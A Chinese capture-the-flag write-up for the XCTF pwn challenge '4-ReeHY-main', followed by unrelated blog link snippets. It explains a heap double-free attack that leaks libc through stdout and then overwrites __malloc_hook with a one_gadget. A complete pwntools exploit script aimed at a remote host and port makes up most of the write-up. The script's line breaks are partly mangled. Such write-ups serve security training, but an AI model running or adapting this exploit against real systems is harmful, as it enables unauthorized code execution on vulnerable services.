攻防世界 4-ReeHY-main
检查保护机制:

发现 可以好像写got
然后 程序流程


这里 有double free
然后 再发现

这里很有趣 ,要是我的content为零了 且size 小于112 那就从栈上copy一些内容进去 利用double free ,再修改残留在chunk上的fd的信息 就能达到任意地址写入的效果,
但是
这里有没有溢出点 就算能达到任意地址写入
也没什么用 所以 可以malloc 一块到 stderr + 的地方
然后 再 edit
content 先不写 因为

这个 会刷新stdout 导致之前写入的东西 给重新刷新了
这时候就可以用编辑,写入
不过这时候 只能写最低4字节,所以会有一定的概率性才能malloc 到 那块地方
之所以 选择 stderr +157 因为 那附件只有这块符号size的检测
下面贴出我的 exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
#context.log_level = 'debug'
host = "111.198.29.45"
port = 33138 r = remote(host,port) def creat(size, cun, content):
r.recvuntil("$ ")
r.sendline(str(1))
r.recvuntil("Input size")
r.sendline(str(size))
r.recvuntil("Input cun")
r.sendline(str(cun))
r.recvuntil("Input content")
r.sendline(content) def dele(index):
r.recvuntil("$ ")
r.sendline(str(2))
r.recvuntil("Chose one to dele")
r.sendline(str(index)) def edit(index, content):
r.recvuntil("$ ")
r.sendline(str(3))
r.recvuntil("Chose one to edit")
r.sendline(str(index))
r.recvuntil("Input the content")
r.send(content) def show():
r.recvuntil("$ ")
r.sendline(str(4)) def exploit():
global r
r = remote(host,port)
libc = ELF('./libc.so.6')
r.recvuntil("$ ")
r.sendline("aaaa")
creat(0x60, 0, '')
creat(0x60, 1, '')
creat(0x60, 2, '')
dele(0)
dele(1)
dele(0)
creat(0x60, 3, '')
creat(0x60, 1, '')
edit(3,p16(0x95dd))
creat(0x60, 0, '')
try:
pay = "\xcc"*3+p64(0)*6+p64(0xfbad3c80)+p64(0)*3+chr(0)
creat(0x60, 4, pay)
except:
log.failure("not lucky enough!")
r.close()
return False
edit(4,pay)
leak = ''
leak = r.recvuntil("exit")[0x40:0x48]
print hex(u64(leak))
LIBC = u64(leak) - e.symbols['_IO_2_1_stderr_']-0xc0
log.info('libc :0x%x'%LIBC) #raw_input()
target = LIBC + e.symbols['__malloc_hook'] - 0x23
dele(3)
edit(0,p64(target))
onegae = LIBC + 0xf1147
log.info("onegaget: 0x%x"%onegae)
payload = 'a'*0x13 +p64(onegae)
creat(0x60, 1, '')
creat(0x60, 3, payload)
dele(1)
r.recvuntil("$ ")
r.sendline(str(1))
r.recvuntil("Input size")
r.sendline(str(0x60))
r.recvuntil("Input cun")
r.sendline(str(1))
stop = True
r.interactive() if __name__ == '__main__':
stop = False
e = ELF("./libc.so.6")
while not stop:
exploit()
攻防世界 4-ReeHY-main的更多相关文章
- 【攻防世界】高手进阶 pwn200 WP
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...
- 【攻防世界】 高手进阶区 Recho WP
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...
- pwn篇:攻防世界进阶welpwn,LibcSearcher使用
攻防世界welpwn (搬运一篇自己在CSDN写的帖子) 链接:https://blog.csdn.net/weixin_44644249/article/details/113781356 这题主要 ...
- 攻防世界 reverse 进阶 APK-逆向2
APK-逆向2 Hack-you-2014 (看名以为是安卓逆向呢0.0,搞错了吧) 程序是.net写的,直接祭出神器dnSpy 1 using System; 2 using System.Diag ...
- 攻防世界 reverse 进阶 10 Reverse Box
攻防世界中此题信息未给全,题目来源为[TWCTF-2016:Reverse] Reverse Box 网上有很多wp是使用gdb脚本,这里找到一个本地还原关键算法,然后再爆破的 https://www ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
随机推荐
- 使用eclipse在tomcat中设置项目启动的虚拟路径
很多时候我们在启动项目的时候都会在浏览器输入"localhost:+端口号+项目名称" 其实tomcat是可以省去这种麻烦的,通过设置项目的虚拟路径就可访问项目了 第一步 选择ec ...
- Leetcode(10)正则表达式匹配
Leetcode(10)正则表达式匹配 [题目表述]: 给定一个字符串 (s) 和一个字符模式 (p).实现支持 '.' 和 '*' 的正则表达式匹配. '.' 匹配任意单个字符. '*' 匹配零个或 ...
- Webpack打包css后z-index被重新计算的解决方法
发现问题 最近在使用 Webpack 打包 css 文件时,发现了一个问题,发现打包后的 z-index 值跟源文件 z-index 不一致. 如下图,左侧是源文件,右侧是打包后的文件: 即使加上 ! ...
- Log4j slf4j 配置简单介绍
Log4j slf4j 配置简单介绍 先借鉴一篇很好的文章 为什么要使用SLF4J而不是Log4J import org.slf4j.Logger; import org.slf4j.LoggerFa ...
- MySQL存储引擎简介-MyISAM和InnoDB的区别
上篇文章<MySql逻辑结构简介>我们聊到了存储引擎,可以说MySQL可插拔的多元化存储引擎给我们的使用者带来了很灵活的选择. 这篇文章我们来聊一下目前主流的两种存储引擎MyISAM和In ...
- WinDbg命令系统
WinDbg命令系统 WinDbug三种命令 WinDbug是一个强大的调试器,大部分很多功能都是通过命令来实现的,命令在命令窗口中输入,主要分为以下三类: 标准命令 标准命令提供了调试器的基本功能, ...
- 学习笔记55_Nhibernate
另一种ORM框架 1.添加各种dll 2.添加配置信息,根据文档直接复制粘贴.config //一般下载Nhibernate-3.0.0.Alpha2-bin包,会有Configuration_Tem ...
- python实现清屏
往常都是用os.system("cls")清屏,但是发现每次执行完这个命令后都会出现一个空白字符 尝试了一下午,网上也没解决的办法 最后: os.system("cls& ...
- 重邮二进制群-pwn1
给学弟们练手的题目,做的过程中接触一些基本概念 #include <stdio.h> #include <unistd.h> int main() { ]; welcome() ...
- [考试反思]0825NOIP模拟测试30:没落
AB卷,15人. Lrefrain rank#1 179 skyh rank#2 122 116 108 54 42虽说还是不怎么样,但是有好转的迹象. 开卷审题,T1是个(假)期望,感觉也许还可做. ...